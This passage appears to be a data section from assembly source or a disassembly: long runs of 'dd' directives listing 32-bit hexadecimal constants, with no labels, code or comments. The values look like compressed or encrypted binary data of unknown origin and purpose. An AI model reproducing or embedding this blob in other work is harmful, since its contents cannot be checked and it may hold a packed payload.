1847A33Bh, 19A7ABD9h, 0D20246E9h dd 89EACF9Bh, 0C904404Bh, 0C159031Ah, 0EF56AFB4h, 468EB900h dd 0AC3EDD6Ah, 1F741Eh, 630791F2h, 0F9D6FC70h, 6A2A4700h dd 0B68AAB60h, 45D70038h, 0CE112837h, 0C5E8517Bh, 0F702FA71h dd 5B29BE58h, 149482CDh, 0A0AF20C3h, 3588267Ch, 0BA5D0142h dd 0CAFEC036h, 0A8199F9Eh, 673407C3h, 9616F023h, 0EADC0F4Ah dd 0D9D8AA35h, 2101C448h, 0D98E76F1h, 32E0342Eh, 61FF3842h dd 94F43F01h, 8CB7A21Dh, 39ACAB30h, 2CD47F68h, 8F4071h dd 0FD63CC08h, 5800FFD7h, 5ABE8DEh, 0E8163D48h, 0EFC8007Ah dd 9524F8CDh, 443C7D9Dh, 0A47F1EBDh, 838ED203h, 6049B85Fh dd 62071E9Eh, 8D1940B5h, 0EB841672h, 0F9F5D800h, 339F13D2h dd 0CD1E82Eh, 815AFCE2h, 0AD00A450h, 64F70C22h, 3407DBEBh dd 0C761F458h, 0C33E4013h, 9F0C9128h, 11A54013h, 9EAD073Fh dd 10FE1A61h, 0F7BE89D0h, 0D54039DDh, 0DE772673h, 0BAB70011h dd 17FDACE7h, 8C904961h, 0D0C69DF2h, 0D99CA6h, 0ED5A399Eh dd 4310F65Fh, 3A0021DFh, 1180B8FBh, 3276A3h, 0D1E3E1AAh dd 8A788FCAh, 4114FA01h, 90971F7Ah, 4389198Eh, 83344158h dd 78DC9F00h, 0DFB34A0Dh, 9D37EA7Ah, 0FE09F5E0h, 9A1AE61Ch dd 0FB3B3A42h, 880C8060h, 0C29EE27Ah, 8708E048h, 778698AFh dd 8EF8E87Eh, 78304978h, 734A117Bh, 7FDE3FADh, 191C0198h dd 4639153Dh, 0CABE6Eh, 0F5B22285h, 58A70188h, 0DE0715A4h dd 9777C219h, 791DC3F6h, 0DC27512Ah, 30F4B233h, 0EB91BE16h dd 7C1310FEh, 0E31DD88h, 10ED2DD9h, 3500C855h, 88E2AE1Dh dd 29C04774h, 16FB0215h, 0BE3F1046h, 0B9E07CCCh, 8A09B203h dd 0B84A6DBFh, 36C66ADh, 0C55D5C0Dh, 56004EC8h, 3090C298h dd 79E773DBh, 5BC400F8h, 685ADFF0h, 0C278027Eh, 4218C8F6h dd 0FB308C67h, 0A3CC062Dh, 21127868h, 6078201h, 64211AE7h dd 3A22880h, 0DFAD457Bh, 0A0AB2B00h, 4EC90A5Dh, 0F879C329h dd 7000F595h, 0DAC1D98Ch, 75CA7Ah, 9A340B76h, 4CB22358h dd 6EBBD000h, 0BD0D023Ch, 19B2B87Fh, 68659593h, 9900FB2Bh dd 1A97B9Bh, 44020Bh, 385505D3h, 119CD072h, 22648503h dd 19BBD3Bh, 0EAD55B81h, 81FE8EA5h, 0BF3F6611h, 0B6FC0A46h dd 0E9C5039Dh, 8404E572h, 0E7952018h, 78A6DB1h, 0ED8BC981h dd 50A361D2h, 0B1DBE452h, 46841E01h, 27F4F323h, 0F2ECFD8h dd 9998CC5Ah, 0DDA243A0h, 3B000CE7h, 21C6870Dh, 8024FCh dd 2C1BFB8Ah, 6E0336E5h, 1EB9E600h, 0D2F7B3DCh, 84FD02CAh dd 0F9EB723Bh, 201BE02Fh, 7B7D3FB0h, 592F18C5h, 0C398A0C0h dd 38179001h, 0C8951D91h, 0F0EBB980h, 18896139h, 5A360900h dd 51F8CEDCh, 0AC0850DDh, 98E8A040h, 0D0300A3h, 0E7EDC0B0h dd 6148B59h, 2288B379h, 6749F89Ch, 0C67571CBh, 2C0099F2h dd 0C1D5F43Bh, 0F06EA5C8h, 806FEA0Bh, 627445C2h, 80762E3Ch dd 2BDA57F2h, 0C034A6A4h, 2D3FC568h, 6C00F60Ah, 658F05D8h dd 7C9BC92Ch, 7D7F0B6h, 60F47564h, 7F93C1F8h, 0CA589359h dd 0B48B0800h, 1CBBA580h, 4F171A1Dh, 3D00AD85h, 5A21DE9Ch dd 4E37A000h, 0CAAC6DAh, 0E1713FEEh, 457F7C00h, 80CF4473h dd 60C9FD60h, 2057D85h, 1295A9E5h, 0C08482F1h, 82C40D6h dd 0C3EF81BBh, 49897411h, 0D91B7C8h, 34C6EA00h, 0B21F083Bh dd 0CF0B0240h, 2BCA0AFEh, 8DEFE482h, 0C81A8420h, 7E10008h dd 1B4DD8CEh, 3C05DAACh, 95D9F9D3h, 800C081Fh, 2FB2909h dd 3E395E1Eh, 0F0A0CA95h, 0DF6F9662h, 75A09907h, 9C40D242h dd 1F277C87h, 1565CA16h, 5B00C401h, 2B6E840Dh, 72007671h dd 41E4E04Eh, 10ED84Dh, 23E7E344h, 0D0BFD9F8h, 2605F25Dh dd 0B63233D3h, 0FADB0840h, 0B8162Ch, 0BA3ACF77h, 60CC7B33h dd 0F760E67Ah, 97DC3E99h, 0F6C91958h, 20FB8162h, 614A314h dd 60EC1B2Dh, 0E4E8E019h, 74581E9Eh, 0F43E1401h, 453F7522h dd 9C5400B7h, 31B96EC1h, 22416E2h, 0B30C0006h, 10BB982Bh dd 69EAA000h, 0F5FA722Fh, 41706093h, 33CF23F4h, 24DABD00h dd 0F027ADCDh, 4B0100E8h, 0EFFC2F2Ah, 11604379h, 994C8738h dd 0A57730E7h, 79A2DF41h, 201FC733h, 200FAF31h, 95B49950h dd 0E1F1C3CEh, 8490DD6Fh, 5D00EC10h, 0E67E488h, 24D5C2A6h dd 0C8CF0E9h, 0AC31FD95h, 0BD744F00h, 94E1A2E7h, 0ED330346h dd 0F95EF579h, 5BCAC010h, 942CF300h, 0BA1C8272h, 0A49833F0h dd 59E810F7h, 720E0078h, 1AAB55BEh, 9B015832h, 2F0610E9h dd 0E8442A73h, 0D21BCC21h, 0AE2BC48h, 0EE58E430h, 74C90CC0h dd 48004919h, 45A40BBCh, 1C5205h, 59048BEAh, 0A79A4F65h dd 4DCE9600h, 0F5C8BC58h, 8039C470h, 0FB3490E2h, 0C300051Ch dd 9BCE90B4h, 6051A5h, 0A2A8275h, 4D62D579h, 0C84CE21Dh dd 8C407C12h, 993E44FBh, 0BEA01DFh, 38AAECADh, 3379D0A0h dd 0E0C07651h, 0E09981BEh, 0EE4D0700h, 53E91D2h, 9024FBA0h dd 5ADC4B68h, 22457880h, 0B502DED1h, 392437E0h, 0E33C86A0h dd 0BE9000B9h, 11541C76h, 9100A8F3h, 0BF679314h, 337286A5h dd 9571FCECh, 0E7A440ADh, 85FBB414h, 19A14E00h, 0F75D332Bh dd 617C3046h, 0F4E47348h, 72E739C2h, 948209C1h, 44E06106h dd 0F3062C13h, 9A0D68A4h dd 218C0628h, 39FA8EA6h, 76B38A00h, 75D6803h, 0D25700Dh dd 0C995F9EEh, 31C3D089h, 0A500C598h, 5EDA1F11h, 50758FB0h dd 5492D00Ah, 13B887Eh, 28465F24h, 0FCD6C8E5h, 84E6CBFFh dd 2270F900h, 349E748Eh, 0C870CE8h, 41B1CF45h, 713DFFE6h dd 73101367h, 2BF09C09h, 6C000844h, 0CCF09949h, 2EAB13DCh dd 7C60A7h, 0C85D051h, 8007781h, 0F92FD7D9h, 30725879h dd 85F1EAE2h, 0B1C5B992h, 0D05F602Bh, 0A5D37180h, 2C7407B2h dd 84F961h, 3A5CA88Ah, 9212E5E8h, 0B060AE72h, 0F60A4h dd 268EC77Ch, 17693D5h, 20C59932h, 4846275h, 0D40F1A4h dd 1C4634EFh, 64105Ch, 7533A08Bh, 60A34096h, 0EE73A1F8h dd 0C824E2CFh, 8329CFBh, 7064C9h, 1066037Bh, 4C4F0E44h dd 38055277h, 8BF79168h, 0EEB7B080h, 6474F206h, 0C89079F4h dd 11FA3174h, 0D5B8DBE8h, 0B77D6800h, 0D9FCA60Fh, 763B2616h dd 174914Ch, 1206DFA2h, 0E46071BBh, 0C119DE65h, 18E438E1h dd 0E54628Eh, 20F851ADh, 3BBD3964h, 71B23FB1h, 0C26CAF81h dd 603C0815h, 0C92E2D00h, 0FB40B04Ch, 4ADEA7Bh, 8992A3E6h dd 40FCC006h, 3B7436B0h, 0C7F28600h, 452D7CB8h, 846852C8h dd 40DE8100h, 12199737h, 96A4AB00h, 45E210D1h, 291C90F6h dd 11F47D1Bh, 3F4C0169h, 35C44F9Ch, 0C706F8h, 0FBF011D1h dd 0BBCFF115h, 0F47C8400h, 68257486h, 0E180FB8Eh, 44C67DE0h dd 81023199h, 23733CCAh, 90DC9965h, 1BE48407h, 0B88ED708h dd 0F17CE721h, 206F4842h, 0D8BCC3E1h, 2CC9AB00h, 50290887h dd 4C91C8h, 0B9593185h, 0EF740FE8h, 89753000h, 72F6EEBDh dd 17FA12D3h, 23C02093h, 0FE04BB63h, 0D9DB773Eh, 0B9373FC0h dd 1F1F61Bh, 0F33AADA5h, 805D8635h, 84B35861h, 0B0D0EEC1h dd 68A551D4h, 0DB8CC410h, 0D9A33E0Dh, 0FBBDA080h, 6BC83B2Dh dd 3DF0C588h, 780C9F4h, 100DD4CCh, 260375DAh, 0C8C29DDEh dd 7B512E74h, 12E416B0h, 0FF5C08E0h, 0A8C0E84Eh, 0B769132Ch dd 0C8C44668h, 3D00696Dh, 58426C17h, 881535h, 0C616395h dd 5B87738Eh, 260744B0h, 5AF848ABh, 960DFBE0h, 0CB76007Ch dd 0E08B406Fh, 3B00C099h, 66A58175h, 5C723884h, 898E98E6h dd 0D6D5380h, 2E3960D4h, 3FAD1DCBh, 3005E53h, 971015C1h dd 0C8801B16h, 85E89977h, 83738152h, 0C6389500h, 9D74B90Fh dd 7DDC006Ch, 0E8548F2Bh, 281659F5h, 0E8606EA4h, 3D4BCFh dd 75583433h, 0FDF2FF1h, 6401F6F0h, 79E80BD8h, 94335B0Dh dd 71F8A604h, 0C2411E77h, 0F7E4D814h, 8F1B3086h, 80309965h dd 853FD9E6h, 0F26700A2h, 0B768882Ch, 663A5FFAh, 347A80DBh dd 0F601324Bh, 361B00EDh, 6FE0CB77h, 0D07BBE6h, 8BD65EB5h dd 0D29BD920h, 0C0B3017Ch, 0CAA4403Ch, 0D51CECADh, 4EA6A003h dd 8835F6B4h, 0A6726898h, 0B02C58F0h, 0E8767848h, 5779145Ch dd 0C908F013h, 6A890C42h, 93AC9074h, 14F1C0CDh, 330EDCA8h dd 76CB911Fh, 7C226E96h, 3A852026h, 609681A3h, 0A49AB080h dd 95C5A0Ah, 86F0C89Dh, 0F6001464h, 0F84EA725h, 352A35Bh dd 0A5AD3061h, 4103E781h, 0B3F1505Ch, 5EA20EC3h, 7741A3ABh dd 0FE72591Eh, 29C89463h, 58052322h, 813A86EFh, 0F838BC00h dd 1890D02h, 802D44F4h, 627F68A0h, 4BC90C00h, 0B8948966h dd 0D8600798h, 0AACD2924h, 92243AE4h, 4C6D9FC4h, 42CC316h dd 0F745170Ch, 121F081Ah, 885E3CE8h, 8B0058D0h, 4CDC7916h dd 7B6A67h, 537119F1h, 8E322855h, 0D8258A00h, 2B067584h dd 2D4A306Bh, 7FA9DD10h, 656F3C06h, 9081C0Dh, 0EAEF799Ch dd 0F00F064h, 53CA68D1h, 39213AEDh, 43007ABEh, 290A6FE1h dd 6200D210h, 30A5F62Ch, 0ECD9DB7h, 0C42BFEFBh, 0A4907580h dd 48B194F9h, 9374DE07h, 173211F0h, 0B64C002Fh, 0DCA51504h dd 0E816F619h, 0F430A97Fh, 2AE4CEh, 5EF9DA8h, 0DB7F8FE9h dd 66ED0E00h, 0C7EDD41h, 0A648013Eh, 4A61EAA0h, 413021B4h dd 30897990h, 16886258h, 0CB0701BDh, 86348FEEh, 58198259h dd 69CE7D83h, 0A2044F84h, 52500010h, 6F0D3FECh, 0C9D1E08h dd 0C58B8982h, 0DBA87000h, 0D400B49Ah, 0CC2D5152h, 4D786BC9h dd 0B45C6C56h, 97D30F80h, 39255155h, 1B20901Ch, 47F700B5h dd 0D6D4DD2Dh, 5300BBD8h, 1F75BF02h, 95CF3DEh, 0CB40C894h dd 4FE76448h, 0AC010C99h, 40AB8FD1h, 30D2AED4h, 73884263h dd 2227868h, 806C96C3h, 1EEB86Bh, 0A90070B9h, 0A1BDCB6Ah dd 0C40348h, 94048559h, 0AA07929Ah, 2967E777h, 10ACA239h dd 8579C0CCh, 7C7411B8h, 9D300601h, 99CEE572h, 2C816429h dd 0F44A1534h, 0C70B2A09h, 846F0650h, 0D5427128h, 8260D18Dh dd 5D00D97Ah, 0BCEDEB2h, 0DA1983h, 0B3EE6E8Ah, 0E3EA729Fh dd 0C9619864h, 837EEC40h, 242499B6h, 0CD004FF5h, 0F34A969Ah dd 40454A29h, 87C81B7Ch, 0CF03FFD7h, 801A9D58h, 0E1110B84h dd 381823E5h, 0D276A58Dh, 0D7C6900h, 0DD977B4Ch, 73DF043Bh dd 0F005C19Ch, 0FBEED318h, 2A5802F6h, 42C8C0C4h, 7AC55DE6h dd 14BF0069h, 1512C6Bh, 70014753h, 1BBA5CAAh, 0B870D8C6h dd 0F758135Dh, 8D9C0898h, 0BD82F080h, 7264536h, 2BD59C7Ah dd 23F870B7h, 8351E6A6h, 0EF64300Ch, 2360E09Eh, 115C19h dd 262DA2F6h, 3E34D1B3h, 0B601E4B8h, 0E431A509h, 93D38D2Bh dd 0E7F9C095h, 3E10911Ah, 2E80F0D8h, 0FCC6FFBDh, 667C8000h dd 0BE163C7Ah, 2F6704A9h, 43F3EC72h, 8DF97D1Eh, 0C1CF9009h dd 0F069BAB8h, 84825800h, 932C3F18h, 2380F09Eh, 64376306h dd 8E7F1CB9h, 510C98A0h, 8D06182Ch, 0C305E7C0h, 58A30231h dd 7CE99B0Eh, 20CAE47Ah, 62115C76h, 25D3EF0Eh, 82CCBD00h dd 8B489C4Eh, 219732A0h, 0ECE480h, 130B73B2h, 70503DF1h dd 0F6218415h, 94893F30h, 8BCCDCBEh, 66780075h, 5C7A849Ch dd 7722EC31h, 1C9CE8FCh, 5C80ECA0h, 4A5C37B2h, 0E99600B6h dd 0E6C80D40h, 0ABC00292h, 31819B2Ah, 0A8F6B8E0h, 472434B0h dd 49169021h, 0E7729C81h, 2C00F42Dh, 146CD81Bh, 67DADCFh dd 4068465Ch, 6C967484h, 33075BE0h, 0A1901CEh, 9BE478BFh dd 30D42029h, 90519E67h, 94398Ch, 8A14B736h, 93011009h dd 360D01Eh, 168D1740h, 5467940h, 80D9BCF8h, 34D808EFh dd 40009345h, 0E8D0E7EEh, 94C000F4h, 7E1A37A6h, 815CB9CCh dd 80BC8B4Ch, 54A43D76h, 46B000AAh, 72E197B7h, 69FCE710h dd 56323F04h, 6CB13B25h, 6168088Bh, 168C1460h, 7813861Fh dd 8DDB4300h, 64E2729Eh, 0C285D9BCh, 0A0809D60h, 0BA7536F8h dd 11A74025h, 0E80292D8h, 0A4FBC820h, 0F04B0003h, 732E0657h dd 0BE4FD92Dh, 0D5056C40h, 0ED47F64h, 0FC753D60h, 5C149181h dd 73F881ABh, 86844567h, 0D883E3h, 0E430E068h, 3B4C49F9h dd 8529F80Bh, 0EA0C882Ch, 93920C2Ch, 0B0CA0CD3h, 1F64212Ah dd 0C045056Fh, 508B7EBAh, 6C06EAADh, 0CB736897h, 0B44B639h dd 301092BFh, 5F00C35Dh, 0C2086E80h, 0B98D403Ah, 0E1B130C4h dd 0D64873B9h, 7C05115Ch, 0ACA02B25h, 0AB397AC1h, 7D623400h dd 96BDF7B0h, 320F00E0h, 2236640Ah, 0D8099B46h, 4397A6h dd 3ED07352h, 51BB3C0Ch, 0E1BBD1Eh, 58A0EC2Bh, 72421EF9h dd 7C20304Ah, 92AAEBh, 8D28E9B1h, 0E1884967h, 0A02B0502h dd 406B8BD9h, 0D2F6DF50h, 9EB8C830h, 0D2BC2600h, 28C7B3A3h dd 5D7F01ECh, 6040C9E7h dd 807C298Dh, 70C7F8CBh, 57F200B6h, 327DCACFh, 0DF17C5B8h dd 70035D95h, 22FB9640h, 0BE00E739h, 0A5FC0874h, 0BECF658h dd 2F6B2A81h, 0C8D27010h, 0D8BD68BEh, 0CEA511F4h, 7A8692Ah dd 67587F4Eh, 30CC174Ah, 0BA30B041h, 0E02C40CAh, 285E00BAh dd 0AD388554h, 0C29B00E6h, 0C7F7060Ch, 0D2CF860h, 0DB41F044h dd 0A180E181h, 0DE207D72h, 34003EBDh, 7E6DB82Ch, 2D208h dd 31126A84h, 2DD854C2h, 0E827404Bh, 455480E9h, 2D217322h dd 0D810B2D9h, 40846581h, 2C17F9E8h, 0DC08DA54h, 703887CEh dd 888E8089h, 450079FBh, 4A54132Fh, 3A0DDB9h, 2D3FBBF8h dd 0E7F41F7Dh, 0DCF92490h, 47CF7140h, 4EC91810h, 606A7961h dd 3800D4B1h, 0C889A4A0h, 107C504Fh, 6098917Eh, 354062C6h dd 2042BA2Eh, 68805E1Fh, 3FDA828Dh, 0E28A3E4Ch, 6EAE7D89h dd 6276CC99h, 0C8753B74h, 0F2958618h, 0D4D60061h, 94CEBB73h dd 624C09CAh, 9B4A1B20h, 0E2D0A2A1h, 3308222Ch, 5920E0EEh dd 0F4D4A48Eh, 0C05F00F9h, 0C91E32B7h, 0D3F47CA3h, 209B9F2h dd 80C614ADh, 0E6910D38h, 162D0325h, 584334B1h, 9960DF97h dd 1DBBD98Eh, 0A300ACF4h, 746BDE1Bh, 0F039A6A2h, 68590C11h dd 0C9B9F060h, 4466F625h, 30185CA8h, 0B5A3184h, 0CFC068C8h dd 0DAE50009h, 0AB3E329Bh, 0E874B201h, 0BC03A47Bh, 290755C1h dd 71449048h, 0D30E0056h, 8F64235Bh, 0F5A01C8Bh, 413D2813h dd 0EFDC82BEh, 0F37E6379h, 0C537008Ch, 622922E1h, 0B303A27Bh dd 0FC4F9D9h, 6968A005h, 4013E4ECh, 4C4BC976h, 0D4179024h dd 8CE004C8h, 8F47AB27h, 0DC0193ACh, 0F16768A7h, 8859844Ch dd 5E4E2E94h, 96C32841h, 247DD47Bh, 0E08C2197h, 4874C001h dd 51483FF8h, 6FC700ECh, 7735FE5Fh, 3094129Fh, 0C148871h dd 0D7665807h, 605F9585h, 747031EEh, 42222DD8h, 8F435CA0h dd 0BB0B1357h, 6EA8D02h, 7115044h, 925AE2F3h, 0A05ABCBh dd 597400E5h, 68916B5Dh, 0AA5CA001h, 0F08A4EC8h, 20812092h dd 36D9B8ACh, 5C915Ch, 0D5C6CB85h, 836601h, 0D9C0839h dd 0DE4B959Dh, 0E373DB17h, 85162430h, 55FB022Fh, 5F29F9E7h dd 40879492h, 1912001Fh, 407B9DD5h, 11111E62h, 0E2486138h dd 6B0F6410h, 466D3300h, 4A931FEh, 0A5CC00A2h, 0AB5FCB68h dd 60B523Dh, 4941184h, 448C1C85h, 78230082h, 65A51513h dd 0B4F04F0Eh, 4E012FB0h, 0F6FAE319h, 24603D69h, 0BCA65Dh dd 365C4D10h, 6D350A9h, 44BA3E14h, 35230990h, 0E88EEF6h dd 723B853Eh, 963AA2C2h, 0F1E94CC9h, 6B32EC2Ch, 8CD16162h dd 0F46CE13Bh, 0E7C3D110h, 0CE1CA102h, 54FD5275h, 0E4D0C12Ch dd 58344187h, 0E2529696h, 841A7088h, 8E1DB2Eh, 7D80A418h dd 5E08C0D1h, 732DDD04h, 0E0455F00h, 7B139338h, 91A00EBDh dd 63034775h, 3901F311h, 0F069C159h, 0F3C83Ah, 8EBFB79h dd 3F51DE5Fh, 7A58A03Fh, 0C874A349h, 0CDF88071h, 0FE84699Fh dd 0A1A56C01h, 0EDBE0A2Ah, 0FAD9CCC0h, 44F65880h, 0DA1D3C23h dd 30595832h, 0D24C9F38h, 5976C0A0h, 699A072h, 841DF137h dd 0A62091A3h, 35DD00E4h, 0DFB19775h, 0B7076AA0h, 40AD8F7Eh dd 0C8F04CA7h, 1F920D1Dh, 17C4D3h, 52AB4C0h, 7F2E658Ch dd 9025C0DCh, 0ED7900h, 0EBCA68FBh, 0C81E7D44h, 845EA63Fh dd 0BF3E8E8Ah, 76688813h, 0ABA9F300h, 7AC0BB72h, 0A5B00BD2h dd 1A80D092h, 0EF9176BFh, 0C2F31318h, 5BE875F9h, 0CA5825E3h dd 556A00B4h, 4C86EEF0h, 2632FA19h, 0E934EC7Bh, 4B684C04h dd 9EC0E880h, 61E40FD8h, 33A03269h, 6BDA1822h, 0A4C94E17h dd 899AF80Ch, 0E6A20E0Ah, 0DAA064AEh, 9E433BD1h, 4FC90C1Fh dd 0E3670A21h, 77E80838h, 0B640E544h, 28A1C383h, 67A26400h dd 5AF8E4AFh, 40A00170h, 432FB7A4h, 0ED1C3041h, 2B836007h dd 4585AEC0h, 80D0812h, 0D42129B6h, 0B1802472h, 0E1D212CFh dd 0D42D1800h, 0B5D94972h, 0A66105DBh, 0C97B688Eh, 0D18060ECh dd 0E0A6C3EBh, 68E6906h, 98B0433Dh, 0AC08025Ch, 0DDC88325h dd 0F10C7482h, 8859EA10h, 54743C94h, 84DD800h, 9373866Bh dd 843112B2h, 43C8D013h, 0EC00D865h, 0D3DBB05Fh, 900D4568h dd 37D002Ch, 843E16A1h, 8009B0Bh, 340F20F3h, 3D6A454Bh dd 3A802B1Dh, 7328F93Fh, 0C700D6D2h, 5E755FE5h, 2624A660h dd 4008C838h, 0EDA2E4F2h, 8A4ACC01h, 3BD9F84Ch, 0BCEB440h dd 0D5090576h, 25DEB0BDh, 0DC08308h, 0C71F8698h, 43B9CF00h dd 6B39A4Bh, 9877397Bh, 0E784045Bh, 4D2C40E0h, 0EE97DAE1h dd 19820CB9h, 67301EB1h, 266C4820h, 0C3390F8h, 0C1107E7Ch dd 0A3786A12h, 0E9C9F044h, 1E728CCh, 0AAEF2541h, 31A4383Ah dd 0A82264h, 0E64A03A2h, 594D98Bh, 7A68A0AAh, 88C853E0h dd 915F0584h, 6400B7BCh, 0B8B10A6h, 40480244h, 1E540062h dd 3FC36D2Ah, 1972146Bh, 922EF8F9h, 8DA04F20h, 0E9C47118h dd 664EC900h, 9383A6E8h, 13DC790Bh, 0A4098EB7h, 77214E1Ch dd 65F82C59h, 0DFFC2071h, 0AA0979A3h, 12F507E9h, 4871ACh dd 0B09E0B74h, 2126AB4h, 0A0DC41FBh, 729D00EEh, 832C3136h dd 8690586h, 75C460D6h, 55B701F9h, 26D1CF79h, 830CF0A5h dd 30E44348h, 40388918h, 3427E86h, 1B2D2A54h, 0F0DFABD6h dd 35BB6675h, 0D3FFB901h, 0A2901A30h, 10AD1CCh, 0E65FB516h dd 0D881B7B2h, 31589B3Ch, 0C0884A6Ch, 68F800EFh, 8DC71A5Fh dd 0FD003844h, 97A6049Dh, 0B74A996h, 0B90A2632h, 41C23840h dd 2DA339h, 8211BCECh, 0B03B3013h, 0E7BB041Ch, 98F92B99h dd 0BF124668h, 0CCB1C3FBh, 1DA324D2h, 723570A8h, 4C1031E8h dd 0A16FDDh, 0B1352DF8h, 73F71CD7h, 0A3D4413Eh, 796068A6h dd 0E384268h, 23D7D083h, 0C0B50D14h, 3C450B0h, 8095E0A1h dd 238A2924h, 0CF7F9460h, 4FE85CFBh, 0E7B8330Eh, 3885C07Bh dd 0B132BDh, 8C3D18FBh, 0D4A2400Fh, 220008F8h, 0B5DAA68Fh dd 0CBEE4Dh, 3B5489D8h, 0D573F905h, 860DFD0Fh, 0FF2AE061h dd 1EEAAB41h, 5930639Bh, 818E3091h, 0FB0B09B0h, 0F89FFAD1h dd 6C94949Bh, 25593909h, 886B0900h, 0EB0134D6h, 53413F81h dd 0DCD5F68Dh, 3A082DDCh, 3400F79Bh, 934D1962h, 0B9006CCCh dd 0C92431E5h, 5AD0EDBCh, 121C12E0h, 0FDC80018h, 89210FF7h dd 0FE4C7C01h, 92683FE3h, 0DD000036h, 19E6B1E7h, 9B48F5FAh dd 85AA1194h, 0CA7611h, 0A04F68A2h, 242D31B0h, 12D03CCDh dd 24B08AD4h, 69250490h, 0C28A20Ch, 8018DA87h, 0D7A7F4ABh dd 0CA735602h, 0C09E1B88h, 24BDC7F9h, 246166h, 0C5068A41h dd 0E31872B4h, 89408070h, 66840026h, 90BE6B13h, 34751AA9h dd 1270E61Ch, 0A39AB9C2h, 0D4844016h, 44F490FDh, 3601C6C0h dd 19935942h, 99D48FDCh, 10F73D94h, 44A0952Fh, 0FC3BBE74h dd 4492E600h, 0A88D7DD5h, 0B79F0024h, 76575F5h, 5D5C8945h dd 2F86C0B4h, 0CFE9679h, 0DCBE43EEh, 8D0B5B19h, 166FE995h dd 85381FFCh, 7C4F80EFh, 26C9FED1h, 442D5325h, 56921D74h dd 0ABD20149h, 3E434622h, 0D6A2070h, 4EC0A4FEh, 888AF7h dd 0EE245691h, 7FE11034h, 6FF900DCh, 84D65C12h, 581E64CCh dd 0A70F282Fh, 0D38540B0h, 0F4C83E8Ch, 4827717h, 0E79DBB5Bh dd 0A214A41Bh, 0A842D724h, 669C3160h, 3CA938E1h, 659D480h dd 0E072B0F4h, 0E70A44B1h, 30286C70h, 5A2D9084h, 1834A193h dd 4820865Fh, 20330030h dd 96CEF170h, 2100FE03h, 0F9E58526h, 964E05CBh, 4F454064h dd 0DF28FD62h, 8C24A2A4h, 1027E8A0h, 1F8E64h, 4E64A8FBh dd 1ED61A9Bh, 0E4FA11CBh, 0D80A0048h, 3C61D3B8h, 22018A89h dd 0A7DD94B5h, 8A4A410h, 98D1160h, 79A35C84h, 0A1940004h dd 11DCF13h, 941B922Eh, 39381900h, 0B830A00Eh, 2CF65Ch dd 964006E6h, 13753CCAh, 580989E4h, 0F838F666h, 5E87584h dd 0F3C92D5Fh, 0EFE82271h, 60249322h, 0EC81F950h, 22B70050h dd 0CBD88458h, 7409440Fh, 667A5465h, 0D3C94B10h, 0A6D897ACh dd 86003DB8h, 4480E7ADh, 4C724CB0h, 564B0CE5h, 910013B4h dd 0C0DB8364h, 0E498148Bh, 0EE0570BCh, 10A21A92h, 0F71F404Ch dd 2CD8C04Bh, 0E4D0EFDCh, 0ADEEB105h, 1416801Ah, 92CCC010h dd 943858B4h, 7F234E10h, 4AB0F5A9h, 0C3F1E5Dh, 7A5E3078h dd 23C3866h, 7F05F64Bh, 0DC7E3ACEh, 1CB23513h, 24F8A484h dd 0E0050CF2h, 0B8F38E8Dh, 0B8E800D3h, 0BD91D946h, 737613h dd 2193EEBEh, 0A6307585h, 0D2B0600h, 0A744C1B6h, 8B40022Dh dd 0F2EC3BFCh, 0E43290F8h, 57DF8B3h, 1DB420C8h, 0A0010C51h dd 0E8BEBA9Ch, 283B4F7Eh, 0DE4EB370h, 898DD84Bh, 0A51C63F0h dd 29F29CC2h, 34E79C84h, 609E44B0h, 0B91611A1h, 60E97DEAh dd 3B0A72D4h, 2CF7DEB0h, 0F9588E00h, 0E8DB4048h, 0C8AB003Dh dd 4BB27436h, 234C2AA9h, 34CA4EB0h, 4E7771h, 2D0FEBF1h dd 78D36241h, 79A85A53h, 0B8B9C400h, 913CE5B6h, 9ADE0766h dd 0C058CDE0h, 4B34BD76h, 5FA12101h, 45A72B13h, 1BBF560h dd 393A2E52h, 2B932C04h, 0D4281C40h, 1302B6B3h, 0F0A84EF9h dd 0A8983BD8h, 0EADEBC04h, 2CBC8D6Fh, 332E8400h, 73FD7A1Dh dd 60D957h, 80054732h, 172A1274h, 0A1A2419h, 4EC05F0Dh dd 0B3C50380h, 94024E12h, 0A05EAB2Eh, 741CE028h, 0CA4484FCh dd 4C879D9h, 729BCD50h, 803CEC5Dh, 1E90447Fh, 0E5530073h dd 5A0FCAECh, 0BB05611Fh, 2201433Fh, 487598B0h, 9F08A0CCh dd 0BF648A1Ah, 982F5D08h, 9C9284F8h, 0C65E802Ch, 0AD6B9518h dd 7AE99301h, 0D89BECCEh, 0A723C038h, 97AB4082h, 1E40E013h dd 0C836001Bh, 0EFF83BEAh, 0B249E4E0h, 7087F4E4h, 31958098h dd 80C0BE25h, 4383B001h, 0A0BAF80Fh, 4C6B30FCh, 7D9C1860h dd 290EC35h, 8D1A9EA8h, 0CF50066h, 0B380801Fh, 0F6ACEE16h dd 9941D420h, 4D578F8h, 6E9BDD47h, 3A0EC54h, 0FF4D1EF9h dd 3159A05Ch, 2498B05Eh, 1678B028h, 3B90B2DCh, 6A0580F4h dd 4EE16192h, 3AF38B0h, 9C0E3380h, 888E0602h, 0EC327E4Eh dd 40C625CDh, 36725624h, 24004232h, 0F97FB08Dh, 0BFE1BBh dd 21D8B948h, 22F5B1C7h, 2CD1733Eh, 1AA7D0A3h, 0B79CC090h dd 2AAD5C5Ah, 0F9D03509h, 60434431h, 0A001243Fh, 409D8D5Ch dd 11800BA4h, 53863811h, 0BA02A5FEh, 78DF87E6h, 0B14461C3h dd 4834E6DAh, 844FCEAh, 70CE058Bh, 0B3C72225h, 40C91DC4h dd 736A2971h, 0E2A8522Fh, 994A2C6Ch, 0A10D4D00h, 46B167Fh dd 74EC53CEh, 2D1CA345h, 18681973h, 4A00B476h, 0C152AFD4h dd 1E01C91Ah, 0B66A6DCDh, 66E05A9Ah, 1DEA000Dh, 6B9B4B85h dd 0F5F62AB3h, 73402094h, 9C62285Fh, 40764548h, 0B10683D0h dd 1B621AE7h, 0D85FDF31h, 8D0E2084h, 4A2CFB4Ch, 1B900D0h dd 42CE00D7h, 384E439Bh, 489C53CCh, 0C74FE140h, 790701C6h dd 0A5A41E51h, 75E0D469h, 0B90A2D0Eh, 0AD3B6045h, 3A96ECh dd 0F5CDD5E8h, 77E76EA5h, 0EC409094h, 0F61184h, 0E47D2DA9h dd 68257AD6h, 8A0DF900h, 0CF324109h, 1D0E399Ch, 0E7066785h dd 0F46CBC05h, 0D548E800h, 8DFA40h, 25696F3Ch, 0E045A69Bh dd 8571B30h, 0E5E51154h, 0AF801C28h, 50BBF7B9h, 9D954A13h dd 6487B04Bh, 962800B0h, 0DA586994h, 7312D281h, 